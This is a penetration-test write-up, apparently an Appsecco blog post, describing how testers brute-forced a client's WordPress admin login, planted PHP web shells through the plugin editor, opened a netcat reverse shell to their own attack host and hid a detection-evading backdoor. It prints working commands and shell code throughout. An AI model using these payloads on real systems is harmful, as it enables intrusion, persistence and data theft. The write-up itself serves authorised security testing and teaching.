The story of a shell

Riyaz Walikar
Appsecco
Published in
9 min readApr 21, 2017

--

Notes from a Black Box web application penetration test that allowed us to get a fully interactive shell on the server.

Penetration testing engagements that result in shells (web or otherwise) are my favourite and I’m sharing this because it was a fun learning experience for me.

A little background

The client wanted to get their hosting infrastructure and web app tested for security issues that could result in data, server or app compromise. The web application was a very popular shopping cart that is well maintained and updated regularly by the creators. This shopping cart was being served by an NGINX web server and the database server was running on the same machine.

To begin the testing we were provided with the URL of the site. The goal was to find as many vulnerabilities as possible and gain access to the server or data via the app or through the infrastructure.

OSINT 101

One of the things we do as part of web application penetration tests is to do extensive information gathering with regards to the client’s online presence. This allows us to create a list of usernames, possible passwords, email addresses, IP addresses, services, hostnames, staging servers, database dumps, files that reveal configuration, Excel files that contain a lot of sensitive information.

If you want to learn the art of OSINT (Open Source Intelligence), we did a post about our information gathering techniques that can get you started.

Every WordPress admin’s nightmare

Our OSINT led us to the discovery of the client’s WordPress blog. This was achieved by looking at the HTML source code on the landing page of the site. There was no reference to the blog otherwise on the page or the robots.txt file.

One of the first things we do when we find a blog is to look at the HTML source and search for the string “wp-content”. WordPress is our first hunch when we find a blog instance. The presence of this string very likely means that we are looking at a WordPress blog.

The next step is to look for the readme.html. We have often found this file on most of the WordPress blogs that we have come across on the Internet. This file discloses the version of WordPress in a very large font!

Version number of WordPress disclosed via readme.html

Once it is confirmed that we are indeed looking at WordPress we try and browse to /wp-admin/ to see if the admin panel is accessible. In the case of this client; it was open to the world, ready to be attacked.

Like most login pages, there are essentially two pieces of information you need to login; a valid username and the password for that username.

With WordPress, username enumeration is straightforward. Navigating to URL http://example.com/?author=1 will redirect you to the page of the user whose ID in the database is 1. Sequentially incrementing the value passed to the author param can lead to discovering other usernames. This can be easily automated using Burp’s Intruder functionality or by using some custom scripting.

The python snippet shown below does this in an automatic fashion, enumerating the value of the redirect (which contains the username) and printing it to screen. A more elaborate version of this snippet can be found here.

import requestsurl="http://wordpress-blog-url-here"
for p in range(1,10): # first 10 users
r = requests.get(url + '/?author=' + str(p), allow_redirects=False)
if r.status_code > 300 and r.status_code < 399 :
print r.headers['Location']

One of the most commonly used tools when it comes to attacking WordPress is wpscan. This tool not only allows you to enumerate users, but also identify the WordPress version, theme, plugins, lets you brute force passwords and lists any publicly disclosed vulnerabilities in the theme and plugins being used. The following command enumerates the top 10 WordPress users.

./wpscan.rb -u http://wordpress-blog-url-here --enumerate u

We found 3 active users using wpscan. The first username was admin (we weren’t surprised there).

The next step was to attempt to brute force the login with a good dictionary. Apart from common password lists, we almost always create custom lists based on the company name, brand/product names and permutations of the names of the people who work there. In this case, we also included strings from the third party vendor who had built the site for our client. The vendor was identified from a “Powered by Third Party Vendor” string at the bottom of the blog’s home page.

The custom password list we created, apart from containing the top 100 common passwords, also contained words that were very specific to the client and the vendor. We mangled these words and on almost all of the words added a number combination and the @ special character. Our file looked like this:

example
example00
example01
example10
example@00
example@01
example@10
example123
example@123
---snip---

Using this fairly specific list of passwords, we ran wpscan to attempt to brute force the password for the admin account.

./wpscan.rb -u blog-url --wordlist custom.txt.lst --username admin

We finally succeeded after a 100+ attempts and were inside the admin dashboard on day 1 of the test!

Planting the shell

One of the first things that we do when we gain administrative access to an application is to explore the admin panel to find functionality that can be used to execute server side code. This functionality could be in the form of a file upload feature, file editor, a package that implements a system task like ping or nslookup or simply a theme installer.

As WordPress uses PHP, the next step was to find a way to upload a PHP file or edit an existing PHP file using the functionality available in WordPress to add our code that will execute on the server. There are several ways of doing both. My favourite is also one of the most simplest, writing a PHP shell on the server using the WordPress plugin editor:

WordPress plugin editor

In the list of files on the right panel, we chose akismet/index.php because this file does not have any PHP code to start with. In essence, the following URL is all you need to edit the Akismet plugin’s index.php file.

/wp-admin/plugin-editor.php?file=akismet/index.php

The PHP code that we normally add to show a proof of concept for system command execution is:

<pre><?php system($_GET['x'])?></pre>

This can be accessed from the browser as follows:

http://blog-url-here/wp-content/plugins/akismet/?x=whoami

The only catch here is that if the server is Apache instead of NGINX, then the akismet plugin’s index.php is not a great place to write your PHP shell. This is because of the presence of a .htaccess that sends a 403 forbidden when attempting to access a PHP file inside the akismet directory. In that case, you can edit the Hello Dolly plugin’s hello.php as follows:

/wp-admin/plugin-editor.php?file=hello.php

The Hello Dolly and Akismet plugins are installed by default when you install WordPress.

NGINX does not support the usage of .htaccess files for performance reasons which is why editing the akismet plugin’s index.php worked for me.

With this edit, we had a functioning shell on the server. Commands would be passed as such:

http://client-url/blog/wp-content/plugins/akismet/?x=whoami

We could run any Linux command and it would run under the context of the user running the web server which in this case was www-data.

An example of what we could see on the server

Using this shell as proof of concept, we stopped testing for the day. A more stable shell was left for Day 2 as we left for home.

The twist in the story

On the start of the second day of the test, we noticed our web shell had disappeared!

One of several things could have happened:

  1. The shell was discovered and removed manually by an admin
  2. There was a Host Intrusion Detection System that detected the shell and removed it
  3. A file integrity checker could have replaced the shell with the original file

We noticed that we still had access to the WordPress admin dashboard. So this time we planned on setting up a backdoor that would give us access to the system even if the Akismet plugin shell was removed.

We logged in and to my surprise saw that the Akismet plugin’s index.php file was replaced with the original file leading me to believe my 3rd assumption was correct.

We quickly re-created the shell and did some system recon. We found that the system had netcat from the traditional package installed. Netcat’s OpenBSD variant does not have the -e option that can be used to execute programs when a connection is made.

On our Internet facing attack server we setup a netcat listener using:

nc -lvp 8090

This started the netcat listener on port 8090 on our server. Using the web shell a reverse connection was made to our attack server using netcat:

http://client-app/blog/wp-content/plugins/akismet/?nc my-attack-ip 8090 -e /bin/bash

It took about a second or so before we recieved a connection back from the client server. The shell obtained was not a TTY shell. To obtain a proper TTY shell we used python on the client’s server to spawn another bash which had job control and was a proper TTY :

python -c 'import pty; pty.spawn("/bin/bash")'

Spawning a TTY shell comes in real handy during OSCP or when solving online CTF challenges.

Using this shell, we decided that the first order of business may be to write a shell in another directory outside of the blog folder but still inside document root of the web application. As this was a web shell on a production box facing the Internet, we decided to add some protection around it to prevent unauthorised access.

We wrote the following PHP web shell in a file called css-style.php in a folder called /upload. This shell would execute our command using the system function only if the passed hash was correct. You can generate a hash of your own using a strong hashing algorthim like SHA256 and a complex & long input string. Also, the system PHP function is being passed to eval in two parts as a string to avoid (if any) programs looking for a call to the system function at all:

<pre>
<?php
if (isset($_GET['hash'])){
if ($_GET['hash'] == '503ed70f5d40554ed40b60c04196960f4f5ef3adb90b1162ba5ce90036ec5cdb')
{
eval("sy"."stem("."'".$_GET['c'.'mdparam']."'".");");
}
}
?>
</pre>

To execute the whoami command for example, you would have to call:

http://client-app/upload/css-style.php?hash=503ed70f5d40554ed40b60c04196960f4f5ef3adb90b1162ba5ce90036ec5cdb&cmdparam=whoami

For the rest of the testing we used this shell to spawn our reverse shells and do a system review. For anyone looking at the web access logs, this URL would stand out very easily but we weren’t flagged (even if someone did see it). By the end of Day 2, we had been locked out of the WordPress admin panel using an NGINX config change. How did we know this? Well we could read the NGINX config file using our stable reverse shell running over netcat :)

Using this shell, we looked around the system and found:

  • backed up MySQL database files containing user sensitive data
  • web site backups containing custom source code
  • MySQL database credentials
  • several world writable directories and files
  • ability to login to the MySQL server itself using credentials we found in world readable files
  • even more credentials and lots and lots of user data from the Database

All in all it was fun gaining shell access and ex-filtrating data from the server. An important lesson that we keep learning time and again is to never under estimate the power of weak passwords. From a standard secure shopping cart to a web shell to a fully interactive TTY, all because of weak credentials protecting the gates of the application.

If you liked this article, please let us know in the comments. Until next time!

Happy Hacking!!

Thank you for reading this article. If you enjoyed it please let us know by clicking that little heart icon below.

At Appsecco we provide advice, testing, training and insight around software and website security, especially anything that’s online, and its associated hosting infrastructure — Websites, e-commerce sites, online platforms, mobile technology, web-based services etc.

If something is accessible from the internet or a person’s computer we can help make sure it is safe and secure.

--

--